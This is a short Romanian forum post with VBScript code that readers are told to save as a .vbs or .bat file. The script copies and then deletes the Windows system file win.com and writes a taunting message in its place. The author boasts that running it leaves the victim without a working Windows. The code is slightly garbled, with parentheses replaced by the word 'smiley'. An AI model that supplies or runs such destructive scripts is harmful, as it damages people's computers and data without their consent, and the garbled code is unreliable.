Creati un Fisier Text Nodepad deschidetil si scrieti urmatoarele : Code:
Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject"smiley
drive = "c:\"
folder ="windows\"
file = "win.com"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.copy ("c:\windows\temp\win.com"smiley
set fs2=fso.CreateTextFile("c:\windows\win.com"smiley
fs2.writeline "win.com is gone images/smiles/icon_biggrin.gif"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.delete
fs2.close
Apoi dati sus la Fille => Save as apoi punem nume.vbs sau nume.bat nu mai stiu in ce extensie incercatile pe ambele
!!!Atentie!!! Nu dati dublu clik pe el
DACA VREI SA NU MAI AI WINDOWS DAI DUBLU-CLIK SI APROPO ITI UREZ SUCCES CAND IL INSTALEZI IARA DAK MAI POTI
bafta
